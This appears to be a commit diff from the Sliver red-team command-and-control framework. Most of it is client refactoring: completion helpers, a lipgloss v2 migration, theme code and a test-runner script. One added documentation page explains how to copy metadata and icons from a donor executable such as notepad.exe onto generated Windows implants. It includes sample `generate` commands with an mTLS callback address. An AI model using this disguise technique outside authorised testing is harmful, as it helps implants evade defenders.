width, height = w, h
}
program := tea.NewProgram(
model,
tea.WithWindowSize(width, height),
tea.WithColorProfile(colorprofile.TrueColor),
)
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
+3
View File
@@ -19,6 +19,7 @@ package jobs
*/
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
@@ -155,6 +156,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
})
completers.RegisterLocalFilePathFlagCompletions(httpsCmd, "cert", "key")
registerWebsiteFlagCompletion(httpsCmd, "website", con)
// Staging listeners
@@ -185,6 +187,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
(*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats")
})
completers.RegisterLocalFilePathFlagCompletions(stageCmd, "cert", "key")
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, dnsCmd, httpCmd, httpsCmd, stageCmd}
}
+3
View File
@@ -1,6 +1,7 @@
package loot
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -50,6 +51,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
})
carapace.Gen(lootAddCmd).PositionalCompletion(
carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot"))
completers.RegisterLocalFilePathPositionalCompletion(lootAddCmd, 0)
lootRemoteCmd := &cobra.Command{
Use: consts.LootRemoteStr,
@@ -99,6 +101,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot")
(*comp)["filter"] = FileTypeCompleter(con)
})
completers.RegisterLocalFilePathFlagCompletion(lootFetchCmd, "save")
lootRmCmd := &cobra.Command{
Use: consts.RmStr,
+2
View File
@@ -1,6 +1,7 @@
package processes
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -56,6 +57,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(procdumpCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles()
})
completers.RegisterLocalFilePathFlagCompletion(procdumpCmd, "save")
terminateCmd := &cobra.Command{
Use: consts.TerminateStr,
+2
View File
@@ -1,6 +1,7 @@
package registry
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -56,6 +57,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
})
completers.RegisterLocalFilePathFlagCompletion(registryReadHiveCmd, "save")
registryReadCmd.AddCommand(registryReadHiveCmd)
registryWriteCmd := &cobra.Command{
+2
View File
@@ -1,6 +1,7 @@
package screenshot
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -31,6 +32,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(screenshotCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles()
})
completers.RegisterLocalFilePathFlagCompletion(screenshotCmd, "save")
return []*cobra.Command{screenshotCmd}
}
+1 -1
View File
@@ -13,6 +13,7 @@ import (
"sync"
"time"
"charm.land/lipgloss/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
clienttheme "github.com/bishopfox/sliver/client/theme"
@@ -21,7 +22,6 @@ import (
"github.com/charmbracelet/bubbles/key"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/huh"
"github.com/charmbracelet/lipgloss"
"github.com/spf13/cobra"
"google.golang.org/grpc/connectivity"
)
@@ -1,6 +1,7 @@
package shellcodeencoders
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -48,7 +49,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["arch"] = ShellcodeEncoderArchCompleter(con)
(*comp)["output"] = carapace.ActionFiles().Tag("output file/directory")
})
completers.RegisterLocalFilePathFlagCompletion(shellcodeEncodersEncodeCmd, "output")
carapace.Gen(shellcodeEncodersEncodeCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
completers.RegisterLocalFilePathPositionalAnyCompletion(shellcodeEncodersEncodeCmd)
shellcodeEncodersCmd.AddCommand(shellcodeEncodersEncodeCmd)
return []*cobra.Command{shellcodeEncodersCmd}
@@ -1,6 +1,7 @@
package sgn
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -34,7 +35,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["arch"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save shellcode")
})
completers.RegisterLocalFilePathFlagCompletion(shikataGaNaiCmd, "save")
carapace.Gen(shikataGaNaiCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
completers.RegisterLocalFilePathPositionalCompletion(shikataGaNaiCmd, 0)
return []*cobra.Command{shikataGaNaiCmd}
}
+1
View File
@@ -33,6 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(updateCmd, func(comp *carapace.ActionMap) {
(*comp)["proxy"] = completers.LocalProxyCompleter()
})
completers.RegisterLocalFilePathFlagCompletion(updateCmd, "save")
versionCmd := &cobra.Command{
Use: consts.VersionStr,
+3
View File
@@ -1,6 +1,7 @@
package wasm
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -35,9 +36,11 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["file"] = carapace.ActionFiles()
(*comp)["dir"] = carapace.ActionDirectories()
})
completers.RegisterLocalFilePathFlagCompletion(wasmCmd, "file")
wasmComp := carapace.Gen(wasmCmd)
wasmComp.PositionalCompletion(carapace.ActionFiles().Usage("wasm/wasi module file (.wasm)"))
wasmComp.PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the wasm module (optional)"))
completers.RegisterLocalFilePathPositionalCompletion(wasmCmd, 0)
wasmLsCmd := &cobra.Command{
Use: consts.LsStr,
+2
View File
@@ -4,6 +4,7 @@ import (
"context"
"strings"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -127,6 +128,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["content"] = carapace.ActionFiles().Tag("content directory/files")
(*comp)["website"] = WebsiteNameCompleter(con)
})
completers.RegisterLocalFilePathFlagCompletion(websitesContentCmd, "content")
websitesCmd.AddCommand(websitesContentCmd)
websitesContentTypeCmd := &cobra.Command{
+1 -1
View File
@@ -41,7 +41,7 @@ func TestWebsiteRemoveConfirmationPrompt(t *testing.T) {
func TestWebsiteRemoveSuccessMessage(t *testing.T) {
got := websiteRemoveSuccessMessage("test", 2)
want := "removed test and 2 content items"
want := "Removed test and 2 content items"
if got != want {
t.Fatalf("unexpected message: got %q want %q", got, want)
}
+2
View File
@@ -1,6 +1,7 @@
package wireguard
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -31,6 +32,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(wgConfigCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save config")
})
completers.RegisterLocalFilePathFlagCompletion(wgConfigCmd, "save")
return []*cobra.Command{wgConfigCmd}
}
+5 -6
View File
@@ -27,12 +27,11 @@ import (
"time"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/lipgloss"
)
type promptPalette struct {
Default lipgloss.Color
Mods map[int]lipgloss.Color
Default string
Mods map[int]string
}
type promptColors struct {
@@ -107,11 +106,11 @@ var promptTemplateCache struct {
func toPromptPalette(p theme.Palette) promptPalette {
out := promptPalette{
Default: lipgloss.Color(p.Default),
Mods: map[int]lipgloss.Color{},
Default: p.Default,
Mods: map[int]string{},
}
for k, v := range p.Mods {
out.Mods[k] = lipgloss.Color(v)
out.Mods[k] = v
}
return out
}
+5 -3
View File
@@ -19,8 +19,10 @@ package console
*/
import (
"image/color"
"charm.land/lipgloss/v2"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/lipgloss"
)
// TextStyle is the shared styling type for the client/server consoles.
@@ -87,13 +89,13 @@ func init() {
// Note: this is intentionally a "global theme" for the console, since most of
// the existing code expects these styles to be package-level values.
func ApplyTheme(t theme.Theme) {
palette := func(p theme.Palette) lipgloss.Color {
palette := func(p theme.Palette) color.Color {
if p.Default != "" {
return lipgloss.Color(p.Default)
}
return lipgloss.Color("#ffffff")
}
paletteMod := func(p theme.Palette, mod int) lipgloss.Color {
paletteMod := func(p theme.Palette, mod int) color.Color {
if mod != 0 {
if v, ok := p.Mods[mod]; ok && v != "" {
return lipgloss.Color(v)
+26 -9
View File
@@ -12,16 +12,17 @@ import (
func HuhTheme() *huh.Theme {
t := huh.ThemeBase()
border := DefaultMod(300)
text := DefaultMod(900)
dim := DefaultMod(500)
faint := DefaultMod(400)
current := Current()
border := paletteModV1(current.Default, 300)
text := paletteModV1(current.Default, 900)
dim := paletteModV1(current.Default, 500)
faint := paletteModV1(current.Default, 400)
primary := Primary()
accent := Secondary()
primary := paletteColorV1(current.Primary)
accent := paletteColorV1(current.Secondary)
success := Success()
danger := Danger()
success := paletteColorV1(current.Success)
danger := paletteColorV1(current.Danger)
// Focused styles.
t.Focused.Base = t.Focused.Base.BorderForeground(border)
@@ -45,7 +46,7 @@ func HuhTheme() *huh.Theme {
t.Focused.FocusedButton = t.Focused.FocusedButton.Foreground(text).Background(primary)
t.Focused.Next = t.Focused.FocusedButton
t.Focused.BlurredButton = t.Focused.BlurredButton.Foreground(text).Background(lipgloss.Color(DefaultMod(100)))
t.Focused.BlurredButton = t.Focused.BlurredButton.Foreground(text).Background(paletteModV1(current.Default, 100))
t.Focused.TextInput.Cursor = t.Focused.TextInput.Cursor.Foreground(primary)
t.Focused.TextInput.Placeholder = t.Focused.TextInput.Placeholder.Foreground(faint)
@@ -65,3 +66,19 @@ func HuhTheme() *huh.Theme {
return t
}
func paletteColorV1(p Palette) lipgloss.TerminalColor {
if p.Default != "" {
return lipgloss.Color(p.Default)
}
return lipgloss.Color("#ffffff")
}
func paletteModV1(p Palette, mod int) lipgloss.TerminalColor {
if mod != 0 {
if v, ok := p.Mods[mod]; ok && v != "" {
return lipgloss.Color(v)
}
}
return paletteColorV1(p)
}
+16 -15
View File
@@ -2,12 +2,13 @@ package theme
import (
"errors"
"image/color"
"os"
"path/filepath"
"sync"
"charm.land/lipgloss/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/charmbracelet/lipgloss"
"gopkg.in/yaml.v3"
)
@@ -106,7 +107,7 @@ func normalizePalette(p *Palette) {
}
}
func (t Theme) paletteColor(p Palette) lipgloss.Color {
func (t Theme) paletteColor(p Palette) color.Color {
if p.Default != "" {
return lipgloss.Color(p.Default)
}
@@ -114,7 +115,7 @@ func (t Theme) paletteColor(p Palette) lipgloss.Color {
return lipgloss.Color("#ffffff")
}
func (t Theme) paletteMod(p Palette, mod int) lipgloss.Color {
func (t Theme) paletteMod(p Palette, mod int) color.Color {
if mod != 0 {
if v, ok := p.Mods[mod]; ok && v != "" {
return lipgloss.Color(v)
@@ -124,43 +125,43 @@ func (t Theme) paletteMod(p Palette, mod int) lipgloss.Color {
}
// Primary returns the theme primary color.
func Primary() lipgloss.Color { return Current().paletteColor(Current().Primary) }
func PrimaryMod(mod int) lipgloss.Color {
func Primary() color.Color { return Current().paletteColor(Current().Primary) }
func PrimaryMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Primary, mod)
}
// Secondary returns the theme secondary color.
func Secondary() lipgloss.Color { return Current().paletteColor(Current().Secondary) }
func SecondaryMod(mod int) lipgloss.Color {
func Secondary() color.Color { return Current().paletteColor(Current().Secondary) }
func SecondaryMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Secondary, mod)
}
// Default returns the theme default/neutral color.
func Default() lipgloss.Color { return Current().paletteColor(Current().Default) }
func DefaultMod(mod int) lipgloss.Color {
func Default() color.Color { return Current().paletteColor(Current().Default) }
func DefaultMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Default, mod)
}
// Success returns the theme success color.
func Success() lipgloss.Color { return Current().paletteColor(Current().Success) }
func SuccessMod(mod int) lipgloss.Color {
func Success() color.Color { return Current().paletteColor(Current().Success) }
func SuccessMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Success, mod)
}
// Warning returns the theme warning color.
func Warning() lipgloss.Color { return Current().paletteColor(Current().Warning) }
func WarningMod(mod int) lipgloss.Color {
func Warning() color.Color { return Current().paletteColor(Current().Warning) }
func WarningMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Warning, mod)
}
// Danger returns the theme danger color.
func Danger() lipgloss.Color { return Current().paletteColor(Current().Danger) }
func DangerMod(mod int) lipgloss.Color {
func Danger() color.Color { return Current().paletteColor(Current().Danger) }
func DangerMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Danger, mod)
}
@@ -0,0 +1,179 @@
Executable metadata spoofing lets you post-process a generated build and copy metadata/resource details from a donor executable.
## Overview
The feature is enabled with the `--spoof-metadata` flag on generate commands.
- Current format support: `pe` (Windows PE)
- Config file: `<client app dir>/spoof-metadata.yaml`
- Default client app dir: `~/.sliver-client`
On first client startup, Sliver creates `spoof-metadata.yaml` if it does not exist.
## Flag Usage
`--spoof-metadata` is off by default.
- No flag: metadata spoofing is not applied.
- `--spoof-metadata` (no argument): use `<client app dir>/spoof-metadata.yaml`.
- `--spoof-metadata /path/to/donor.exe`: use the provided donor file directly.
Path mode validation:
- Currently only supported for Windows PE targets.
- Target output format must be executable, service, or shared library.
- Donor PE machine type must match target architecture (`386`, `amd64`, `arm64`).
- For shared library targets, donor must be a DLL; for executable/service targets, donor must not be a DLL.
When path mode is used, Sliver only uses the donor file bytes as `pe.source` and does not read override fields from `spoof-metadata.yaml`.
## Quick Start
1. Start the client once to generate `~/.sliver-client/spoof-metadata.yaml`.
2. Edit `pe.source.path` to point to a donor PE file.
3. Generate with `--spoof-metadata`.
Example:
```bash
sliver > generate --os windows --arch amd64 --format exe --mtls 10.0.0.5 --spoof-metadata -N win-agent
```
Direct donor path example:
```bash
sliver > generate --os windows --arch amd64 --format exe --mtls 10.0.0.5 --spoof-metadata /opt/samples/notepad.exe -N win-agent
```
## Config Format
Top-level config:
```yaml
pe:
source:
name: metadata-source.exe
path: /absolute/path/to/donor.exe
```
`pe.source` is required when using `--spoof-metadata`.
Fields that can carry binary content (such as `source` and `icon`) support:
- `name`: logical filename sent in protobuf metadata
- `path`: local file path read by the client
- `base64`: inline base64 bytes
`name` and `path` are not duplicates:
- `path` controls where bytes are loaded from on the client machine.
- `name` is the filename value sent to the server.
If `path` is set and `name` is omitted, Sliver uses `basename(path)` automatically.
Set only one of `path` or `base64` for each object.
## Examples
### Minimal Path-Based Config
```yaml
pe:
source:
name: metadata-source.exe
path: /opt/samples/notepad.exe
```
### Include Icon Donor Bytes
```yaml
pe:
source:
name: metadata-source.exe
path: /opt/samples/notepad.exe
icon:
name: icon.ico
path: /opt/samples/app.ico
```
### Inline Base64 Config
```yaml
pe:
source:
name: metadata-source.exe
base64: TVqQAAMAAAAEAAAA...
icon:
name: icon.ico
base64: AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAA...
```
### Advanced Optional PE Structure Fields
These fields are optional and act as PE metadata overrides:
```yaml
pe:
source:
name: metadata-source.exe
path: /opt/samples/notepad.exe
resource_directory:
major_version: 1
minor_version: 0
time_date_stamp: 1712345678
number_of_named_entries: 0
number_of_id_entries: 0
resource_directory_entries:
- name: 1
offset_to_data: 0
resource_data_entries:
- offset_to_data: 0
size: 0
code_page: 0
reserved: 0
export_directory:
major_version: 1
minor_version: 0
time_date_stamp: 1712345678
number_of_functions: 0
number_of_names: 0
```
## Override Behavior
Override order for `pe`:
1. Sliver clones metadata/resources from `pe.source`.
2. Sliver applies explicit override fields from your config.
This means:
- If an override field is set, it replaces the cloned value.
- If an override field is omitted, the cloned donor value is kept.
Resource override details:
- `resource_directory` overrides the root `IMAGE_RESOURCE_DIRECTORY` fields.
- `resource_directory_entries` overrides the first N root directory entries in order.
- `resource_data_entries` overrides the first N resource data entries discovered in resource-tree order.
Export override details:
- `export_directory` overrides fields in the PE export directory when that directory exists.
- If a PE has no export directory, this override has no effect.
Important:
- In protobuf/YAML, scalar zero values are real override values when the parent block is present.
- When setting partial `resource_directory` values, include `number_of_named_entries` and `number_of_id_entries` from the original header unless you intentionally want to change them.
## Notes
- The client reads local file paths and sends bytes to the server over gRPC.
- Spoofing is applied only after a build completes successfully.
- The server applies spoofing to the selected existing build artifact.
- PE support is implemented first; the config is structured for future executable formats.
+202 -206
View File
@@ -1,6 +1,5 @@
#!/bin/bash
# Sliver Implant Framework
# Copyright (C) 2019 Bishop Fox
@@ -17,11 +16,14 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
set -u
set -o pipefail
SKIP_GENERATE=0
for arg in "$@"; do
if [ "$arg" = "--skip-generate" ]; then
SKIP_GENERATE=1
fi
if [ "$arg" = "--skip-generate" ]; then
SKIP_GENERATE=1
fi
done
echo "----------------------------------------------------------------"
@@ -30,214 +32,208 @@ echo " Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
echo "----------------------------------------------------------------"
TAGS=osusergo,netgo,go_sqlite
TEST_TMP_ROOT="$(mktemp -d)"
if [ ! -d "$TEST_TMP_ROOT" ]; then
echo "Failed to create temporary test root directory" >&2
exit 1
fi
cleanup() {
local status=$?
trap - EXIT INT TERM
# Some long-running tests (notably in server/generate) may still have child
# build processes touching files under the temp root when cleanup starts.
if command -v pkill >/dev/null 2>&1; then
pkill -TERM -P $$ 2>/dev/null || true
pkill -TERM -f "$TEST_TMP_ROOT" 2>/dev/null || true
sleep 1
pkill -KILL -P $$ 2>/dev/null || true
pkill -KILL -f "$TEST_TMP_ROOT" 2>/dev/null || true
fi
wait 2>/dev/null || true
for _ in 1 2 3 4 5; do
rm -rf "$TEST_TMP_ROOT" 2>/dev/null || true
if [ ! -e "$TEST_TMP_ROOT" ]; then
break
fi
sleep 1
done
if [ -e "$TEST_TMP_ROOT" ]; then
echo "WARNING: Failed to fully clean temp dir: $TEST_TMP_ROOT" >&2
fi
exit "$status"
}
trap cleanup EXIT INT TERM
export SLIVER_ROOT_DIR="$TEST_TMP_ROOT/sliver"
export SLIVER_CLIENT_DIR="$TEST_TMP_ROOT/sliver-client"
export SLIVER_CLIENT_ROOT_DIR="$SLIVER_CLIENT_DIR" # legacy compatibility
export HOME="$TEST_TMP_ROOT/home"
export XDG_CONFIG_HOME="$TEST_TMP_ROOT/xdg-config"
export XDG_CACHE_HOME="$TEST_TMP_ROOT/xdg-cache"
export XDG_DATA_HOME="$TEST_TMP_ROOT/xdg-data"
export TMPDIR="$TEST_TMP_ROOT/tmp"
export TMP="$TMPDIR"
export TEMP="$TMPDIR"
export GOCACHE="$TEST_TMP_ROOT/go-cache"
export GOTMPDIR="$TEST_TMP_ROOT/go-tmp"
export GOFLAGS="${GOFLAGS:-} -mod=vendor"
mkdir -p \
"$SLIVER_ROOT_DIR" \
"$SLIVER_CLIENT_DIR" \
"$HOME" \
"$XDG_CONFIG_HOME" \
"$XDG_CACHE_HOME" \
"$XDG_DATA_HOME" \
"$TMPDIR" \
"$GOCACHE" \
"$GOTMPDIR"
export PATH="$SLIVER_ROOT_DIR/go/bin:$PATH"
echo "Using isolated temp directories:"
echo " SLIVER_ROOT_DIR=$SLIVER_ROOT_DIR"
echo " SLIVER_CLIENT_DIR=$SLIVER_CLIENT_DIR"
print_failure_logs() {
cat "$SLIVER_ROOT_DIR/logs/sliver.log" 2>/dev/null || true
}
run_test_cmd() {
local name="$1"
shift
echo
echo "==> $name"
if "$@"; then
return 0
fi
print_failure_logs
return 1
}
should_skip_package() {
local pkg="$1"
local tags="${2:-}"
local go_list_cmd=(go list -e -f '{{if .Error}}{{.Error}}{{end}}')
if [ -n "$tags" ]; then
go_list_cmd+=("-tags=$tags")
fi
go_list_cmd+=("$pkg")
local go_list_error
go_list_error="$("${go_list_cmd[@]}" 2>/dev/null || true)"
if [[ "$go_list_error" == *"build constraints exclude all Go files"* ]]; then
echo
echo "==> Skipping $pkg (unsupported on current platform)"
return 0
fi
return 1
}
collect_test_dirs() {
if command -v rg >/dev/null 2>&1; then
rg --files -g '*_test.go'
else
find client implant server util -type f -name '*_test.go' -print
fi
}
unpack_server_assets() {
if [ -x "./sliver-server" ]; then
if ./sliver-server unpack --force; then
return 0
fi
echo "sliver-server unpack failed, falling back to go run ./server unpack --force"
fi
go run -tags=server,go_sqlite ./server unpack --force
}
run_test_cmd "unpack server assets" unpack_server_assets || exit 1
TEST_DIRS=()
while IFS= read -r test_dir; do
TEST_DIRS+=("$test_dir")
done < <(collect_test_dirs | xargs -n1 dirname | sort -u)
CLIENT_TEST_PKGS=()
IMPLANT_TEST_PKGS=()
SERVER_UTIL_TEST_PKGS=()
for test_dir in "${TEST_DIRS[@]}"; do
pkg="./$test_dir"
case "$pkg" in
./server/c2 | ./server/generate)
# handled separately below
;;
./client/*)
CLIENT_TEST_PKGS+=("$pkg")
;;
./implant/*)
IMPLANT_TEST_PKGS+=("$pkg")
;;
./server/* | ./util*)
SERVER_UTIL_TEST_PKGS+=("$pkg")
;;
esac
done
## Client
# client / command / alias
if go test -tags=client,$TAGS ./client/command/alias ; then
:
else
exit 1
fi
# client / command / extensions
if go test -tags=client,$TAGS ./client/command/extensions ; then
:
else
exit 1
fi
# client / credentials
if go test -tags=client,$TAGS ./client/credentials ; then
:
else
exit 1
fi
## Util
# util
if go test -tags=server,$TAGS ./util ; then
:
else
exit 1
fi
# util / encoders
if go test -tags=server,$TAGS ./util/encoders/basex ; then
:
else
exit 1
fi
if go test -tags=server,$TAGS ./util/encoders ; then
:
else
exit 1
fi
# util / minisign
if go test -tags=server,$TAGS ./util/minisign ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
for pkg in "${CLIENT_TEST_PKGS[@]}"; do
if should_skip_package "$pkg" "client,$TAGS"; then
continue
fi
run_test_cmd "$pkg" go test -tags="client,$TAGS" "$pkg" || exit 1
done
## Implant
for pkg in "${IMPLANT_TEST_PKGS[@]}"; do
if should_skip_package "$pkg"; then
continue
fi
run_test_cmd "$pkg" go test "$pkg" || exit 1
done
# implant / sliver / extension
if go test ./implant/sliver/extension ; then
:
else
exit 1
fi
## Server + Util
for pkg in "${SERVER_UTIL_TEST_PKGS[@]}"; do
if should_skip_package "$pkg" "server,$TAGS"; then
continue
fi
case "$pkg" in
./server/assets/traffic-encoders | ./server/encoders)
run_test_cmd "$pkg" go test -timeout 10m -tags="server,$TAGS" "$pkg" || exit 1
;;
./server/rpc)
run_test_cmd "$pkg" go test -vet=off -timeout 30m -tags="server,$TAGS" "$pkg" || exit 1
;;
*)
run_test_cmd "$pkg" go test -tags="server,$TAGS" "$pkg" || exit 1
;;
esac
done
# implant / sliver / transports / dnsclient
if go test ./implant/sliver/transports/dnsclient ; then
:
else
exit 1
fi
## Server c2 (unit + e2e)
run_test_cmd "./server/c2" go test -tags="server,$TAGS" ./server/c2 || exit 1
run_test_cmd "./server/c2 (e2e yamux)" go test -tags="server,$TAGS,sliver_e2e" ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 || exit 1
run_test_cmd "./server/c2 (e2e dns)" go test -tags="server,$TAGS,sliver_e2e" ./server/c2 -run 'TestDNS_' -count=1 || exit 1
# implant / sliver / transports / wireguard
if go test ./implant/sliver/transports/wireguard ; then
:
else
exit 1
fi
## Server
# server / assets / traffic encoders
if go test -timeout 10m -tags=server,$TAGS ./server/assets/traffic-encoders ; then
:
else
exit 1
fi
# server / encoders
if go test -timeout 10m -tags=server,$TAGS ./server/encoders ; then
:
else
exit 1
fi
# server / website
if go test -tags=server,$TAGS ./server/website ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / loot
if go test -tags=server,$TAGS ./server/loot ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / certs
if go test -tags=server,$TAGS ./server/certs ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / cryptography
if go test -tags=server,$TAGS ./server/cryptography ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / encoders / shellcode / sgn
if go test -tags=server,$TAGS ./server/encoders/shellcode/sgn ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / encoders / shellcode / arm64
if go test -tags=server,$TAGS ./server/encoders/shellcode/arm64 ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / gogo / goname
if go test -tags=server,$TAGS ./server/gogo/goname ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / gogo
if go test -tags=server,$TAGS ./server/gogo ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / c2
if go test -tags=server,$TAGS ./server/c2 ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / c2 / e2e (mtls + wg + yamux)
SLIVER_ROOT_DIR_E2E="$(mktemp -d)"
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
# server / c2 / e2e (dns)
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
rm -rf "$SLIVER_ROOT_DIR_E2E"
# server / configs
if go test -tags=server,$TAGS ./server/configs ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / console
if go test -tags=server,$TAGS ./server/console ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / generate
## Server generate
if [ "$SKIP_GENERATE" -eq 0 ]; then
export GOPROXY=off
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
export GOPROXY=off
# Generate tests are memory intensive (garble/c-shared cross-builds). Keep
# parallelism conservative by default to avoid OOM kills on smaller systems.
GENERATE_GOMAXPROCS="${SLIVER_GENERATE_GOMAXPROCS:-2}"
GENERATE_GO_P="${SLIVER_GENERATE_GO_P:-1}"
GENERATE_TEST_PARALLEL="${SLIVER_GENERATE_TEST_PARALLEL:-1}"
run_test_cmd "./server/generate" \
env GOMAXPROCS="$GENERATE_GOMAXPROCS" \
go test -timeout 6h -p "$GENERATE_GO_P" -parallel "$GENERATE_TEST_PARALLEL" -tags="server,$TAGS" ./server/generate || exit 1
else
echo "Skipping ./server/generate tests (--skip-generate)"
echo
echo "Skipping ./server/generate tests (--skip-generate)"
fi
+20 -13
View File
@@ -9,6 +9,7 @@ replace github.com/reeflective/readline => github.com/moloch--/readline v0.0.0-2
replace github.com/reeflective/console => github.com/moloch--/console v0.0.0-20260129035459-883dcb25c701
require (
charm.land/lipgloss/v2 v2.0.0
filippo.io/age v1.3.1
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
@@ -17,13 +18,14 @@ require (
github.com/SherClockHolmes/webpush-go v1.4.0
github.com/alecthomas/chroma v0.10.0
github.com/alecthomas/chroma/v2 v2.23.1
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7
github.com/charmbracelet/bubbletea v1.3.10
github.com/charmbracelet/huh v0.8.0
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3
github.com/charmbracelet/lipgloss v1.1.0
github.com/cheggaaa/pb/v3 v3.1.7
github.com/chromedp/cdproto v0.0.0-20250803210736-d308e07a266d
github.com/chromedp/chromedp v0.14.1
github.com/fatih/color v1.18.0
github.com/glebarez/sqlite v1.11.0
github.com/gofrs/uuid v4.4.0+incompatible
github.com/golang/protobuf v1.5.4
@@ -47,9 +49,9 @@ require (
github.com/reeflective/readline v1.1.4
github.com/rsteube/carapace v0.50.2
github.com/sirupsen/logrus v1.9.3
github.com/sliverarmory/beignet v0.0.2
github.com/sliverarmory/malasada v0.0.2
